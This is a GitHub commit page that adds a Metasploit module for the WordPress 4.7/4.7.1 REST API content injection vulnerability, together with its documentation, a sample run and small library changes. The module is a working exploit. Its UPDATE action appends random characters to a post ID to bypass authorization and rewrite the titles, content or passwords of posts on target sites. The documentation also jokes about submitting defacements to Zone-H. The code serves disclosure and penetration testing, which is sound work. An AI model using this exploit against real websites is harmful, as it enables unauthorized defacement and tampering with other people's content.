Skip to content

Commit 8ade9b8

Browse files
committed
Land rapid7#7905, WordPress content injection module
2 parents cba5e26 + cf395ea commit 8ade9b8

File tree

5 files changed

+275
-7
lines changed

5 files changed

+275
-7
lines changed
Lines changed: 37 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,37 @@
1+
**Feature description:**
2+
3+
This adds a module for the WordPress 4.7/4.7.1
4+
content injection vulnerability detailed at
5+
https://blog.sucuri.net/2017/02/content-injection-vulnerability-wordpress-rest-api.html.
6+
7+
**Verification steps:**
8+
9+
- [ ] Download https://wordpress.org/wordpress-4.7.1.tar.gz
10+
- [ ] `tar xf wordpress-4.7.1.tar.gz -C /var/www/html --no-same-owner`
11+
- [ ] Ensure the install dir is not writable by the web user (prevents autoupdating)
12+
- [ ] Install the sucker
13+
- [ ] Set `ACTION` to either `LIST` or `UPDATE`
14+
- [ ] Set `POST_ID` and `POST_TITLE`, `POST_CONTENT`, and/or `POST_PASSWORD`
15+
- [ ] Run the module
16+
- [ ] ~~Add your defacement to Zone-H~~ jk
17+
18+
**Sample run:**
19+
20+
This is just the `LIST` action...
21+
22+
```
23+
msf auxiliary(wordpress_content_injection) > run
24+
25+
[*] REST API found in HTML document
26+
Posts at https://[redacted]:443/ (REST API: /wp-json/wp/v2)
27+
============================================================
28+
29+
ID Title URL Password
30+
-- ----- --- --------
31+
1 Hello world! https://[redacted]/2016/10/hello-world/ No
32+
87 Hello world! https://[redacted]/2016/08/hello-world-2/ No
33+
34+
[*] Scanned 1 of 1 hosts (100% complete)
35+
[*] Auxiliary module execution completed
36+
msf auxiliary(wordpress_content_injection) >
37+
```

lib/msf/core/exploit/http/client.rb

Lines changed: 10 additions & 3 deletions
Original file line numberDiff line numberDiff line change
@@ -463,10 +463,17 @@ def target_uri
463463
end
464464

465465
# Returns the complete URI as string including the scheme, port and host
466-
def full_uri
466+
def full_uri(custom_uri = nil)
467467
uri_scheme = ssl ? 'https' : 'http'
468-
uri_port = rport.to_s == '80' ? '' : ":#{rport}"
469-
uri = normalize_uri(target_uri.to_s)
468+
469+
if (rport == 80 && !ssl) || (rport == 443 && ssl)
470+
uri_port = ''
471+
else
472+
uri_port = ":#{rport}"
473+
end
474+
475+
uri = normalize_uri(custom_uri || target_uri.to_s)
476+
470477
"#{uri_scheme}://#{rhost}#{uri_port}#{uri}"
471478
end
472479

lib/msf/core/exploit/http/wordpress/uris.rb

Lines changed: 8 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -92,7 +92,7 @@ def wordpress_url_admin_post
9292
# @return [String] Wordpress Admin Update URL
9393
def wordpress_url_admin_update
9494
normalize_uri(wordpress_url_backend, 'update.php')
95-
end
95+
end
9696

9797
# Returns the Wordpress wp-content dir URL
9898
#
@@ -129,4 +129,11 @@ def wordpress_url_xmlrpc
129129
normalize_uri(target_uri.path, 'xmlrpc.php')
130130
end
131131

132+
# Returns the Wordpress REST API URL
133+
#
134+
# @return [String] Wordpress REST API URL
135+
def wordpress_url_rest_api
136+
normalize_uri(target_uri.path, 'index.php/wp-json/wp/v2')
137+
end
138+
132139
end

lib/msf/core/exploit/http/wordpress/version.rb

Lines changed: 3 additions & 3 deletions
Original file line numberDiff line numberDiff line change
@@ -3,7 +3,7 @@
33
module Msf::Exploit::Remote::HTTP::Wordpress::Version
44

55
# Used to check if the version is correct: must contain at least one dot
6-
WORDPRESS_VERSION_PATTERN = '([^\r\n"\']+\.[^\r\n"\']+)'
6+
WORDPRESS_VERSION_PATTERN = '(\d+\.\d+(?:\.\d+)*)'
77

88
# Extracts the Wordpress version information from various sources
99
#
@@ -107,10 +107,10 @@ def check_version_from_custom_file(uripath, regex, fixed_version = nil, vuln_int
107107
private
108108

109109
def wordpress_version_helper(url, regex)
110-
res = send_request_cgi(
110+
res = send_request_cgi!({
111111
'method' => 'GET',
112112
'uri' => url
113-
)
113+
}, 3.5)
114114
if res
115115
match = res.body.match(regex)
116116
return match[1] if match
Lines changed: 217 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,217 @@
1+
##
2+
# This module requires Metasploit: http://metasploit.com/download
3+
# Current source: https://github.com/rapid7/metasploit-framework
4+
##
5+
6+
class MetasploitModule < Msf::Auxiliary
7+
8+
include Msf::Exploit::Remote::HTTP::Wordpress
9+
include Msf::Auxiliary::Scanner
10+
11+
def initialize(info = {})
12+
super(update_info(info,
13+
'Name' => 'WordPress REST API Content Injection',
14+
'Description' => %q{
15+
This module exploits a content injection vulnerability in WordPress
16+
versions 4.7 and 4.7.1 via type juggling in the REST API.
17+
},
18+
'Author' => [
19+
'Marc Montpas', # Vulnerability discovery
20+
'wvu' # Metasploit module
21+
],
22+
'References' => [
23+
['WPVDB', '8734'],
24+
['URL', 'https://blog.sucuri.net/2017/02/content-injection-vulnerability-wordpress-rest-api.html'],
25+
['URL', 'https://secure.php.net/manual/en/language.types.type-juggling.php'],
26+
['URL', 'https://developer.wordpress.org/rest-api/using-the-rest-api/discovery/'],
27+
['URL', 'https://developer.wordpress.org/rest-api/reference/posts/']
28+
],
29+
'DisclosureDate' => 'Feb 1 2017',
30+
'License' => MSF_LICENSE,
31+
'Actions' => [
32+
['LIST', 'Description' => 'List posts'],
33+
['UPDATE', 'Description' => 'Update post']
34+
],
35+
'DefaultAction' => 'LIST'
36+
))
37+
38+
register_options([
39+
OptInt.new('POST_ID', [false, 'Post ID (0 for all)', 0]),
40+
OptString.new('POST_TITLE', [false, 'Post title']),
41+
OptString.new('POST_CONTENT', [false, 'Post content']),
42+
OptString.new('POST_PASSWORD', [false, 'Post password (\'\' for none)'])
43+
])
44+
45+
register_advanced_options([
46+
OptInt.new('PostCount', [false, 'Number of posts to list', 100]),
47+
OptString.new('SearchTerm', [false, 'Search term when listing posts'])
48+
])
49+
end
50+
51+
def check_host(_ip)
52+
if (version = wordpress_version)
53+
version = Gem::Version.new(version)
54+
else
55+
return Exploit::CheckCode::Safe
56+
end
57+
58+
vprint_status("WordPress #{version}: #{full_uri}")
59+
60+
if version.between?(Gem::Version.new('4.7'), Gem::Version.new('4.7.1'))
61+
Exploit::CheckCode::Appears
62+
else
63+
Exploit::CheckCode::Detected
64+
end
65+
end
66+
67+
def run_host(_ip)
68+
if !wordpress_and_online?
69+
print_error("WordPress not detected at #{full_uri}")
70+
return
71+
end
72+
73+
case action.name
74+
when 'LIST'
75+
do_list
76+
when 'UPDATE'
77+
do_update
78+
end
79+
end
80+
81+
def do_list
82+
posts_to_list = list_posts
83+
84+
if posts_to_list.empty?
85+
print_status("No posts found at #{full_uri}")
86+
return
87+
end
88+
89+
tbl = Rex::Text::Table.new(
90+
'Header' => "Posts at #{full_uri} (REST API: #{get_rest_api})",
91+
'Columns' => %w{ID Title URL Password}
92+
)
93+
94+
posts_to_list.each do |post|
95+
tbl << [
96+
post[:id],
97+
Rex::Text.html_decode(post[:title]),
98+
post[:url],
99+
post[:password] ? 'Yes' : 'No'
100+
]
101+
end
102+
103+
print_line(tbl.to_s)
104+
end
105+
106+
def do_update
107+
posts_to_update = []
108+
109+
if datastore['POST_ID'] == 0
110+
posts_to_update = list_posts
111+
else
112+
posts_to_update << {id: datastore['POST_ID']}
113+
end
114+
115+
if posts_to_update.empty?
116+
print_status("No posts to update at #{full_uri}")
117+
return
118+
end
119+
120+
posts_to_update.each do |post|
121+
res = update_post(post[:id],
122+
title: datastore['POST_TITLE'],
123+
content: datastore['POST_CONTENT'],
124+
password: datastore['POST_PASSWORD']
125+
)
126+
127+
post_url = full_uri(wordpress_url_post(post[:id]))
128+
129+
if res && res.code == 200
130+
print_good("SUCCESS: #{post_url} (Post updated)")
131+
elsif res && (error = res.get_json_document['message'])
132+
print_error("FAILURE: #{post_url} (#{error})")
133+
end
134+
end
135+
end
136+
137+
def list_posts
138+
posts = []
139+
140+
res = send_request_cgi({
141+
'method' => 'GET',
142+
'uri' => normalize_uri(get_rest_api, 'posts'),
143+
'vars_get' => {
144+
'per_page' => datastore['PostCount'],
145+
'search' => datastore['SearchTerm']
146+
}
147+
}, 3.5)
148+
149+
if res && res.code == 200
150+
res.get_json_document.each do |post|
151+
posts << {
152+
id: post['id'],
153+
title: post['title']['rendered'],
154+
url: post['link'],
155+
password: post['content']['protected']
156+
}
157+
end
158+
elsif res && (error = res.get_json_document['message'])
159+
vprint_error("Failed to list posts: #{error}")
160+
end
161+
162+
posts
163+
end
164+
165+
def update_post(id, opts = {})
166+
payload = {}
167+
168+
payload[:id] = "#{id}#{Rex::Text.rand_text_alpha(8)}"
169+
payload[:title] = opts[:title] if opts[:title]
170+
payload[:content] = opts[:content] if opts[:content]
171+
payload[:password] = opts[:password] if opts[:password]
172+
173+
send_request_cgi({
174+
'method' => 'POST',
175+
'uri' => normalize_uri(get_rest_api, 'posts', id),
176+
'ctype' => 'application/json',
177+
'data' => payload.to_json
178+
}, 3.5)
179+
end
180+
181+
def get_rest_api
182+
return @rest_api if @rest_api
183+
184+
res = send_request_cgi!({
185+
'method' => 'GET',
186+
'uri' => normalize_uri(target_uri.path)
187+
}, 3.5)
188+
189+
if res && res.code == 200
190+
@rest_api = parse_rest_api(res)
191+
end
192+
193+
@rest_api ||= wordpress_url_rest_api
194+
end
195+
196+
def parse_rest_api(res)
197+
rest_api = nil
198+
199+
link = res.headers['Link']
200+
html = res.get_html_document
201+
202+
if link =~ %r{^<(.*)>; rel="https://api\.w\.org/"$}
203+
rest_api = route_rest_api($1)
204+
vprint_status('REST API found in Link header')
205+
elsif (xpath = html.at('//link[@rel = "https://api.w.org/"]/@href'))
206+
rest_api = route_rest_api(xpath)
207+
vprint_status('REST API found in HTML document')
208+
end
209+
210+
rest_api
211+
end
212+
213+
def route_rest_api(rest_api)
214+
normalize_uri(path_from_uri(rest_api), 'wp/v2')
215+
end
216+
217+
end

0 commit comments

Comments
 (0)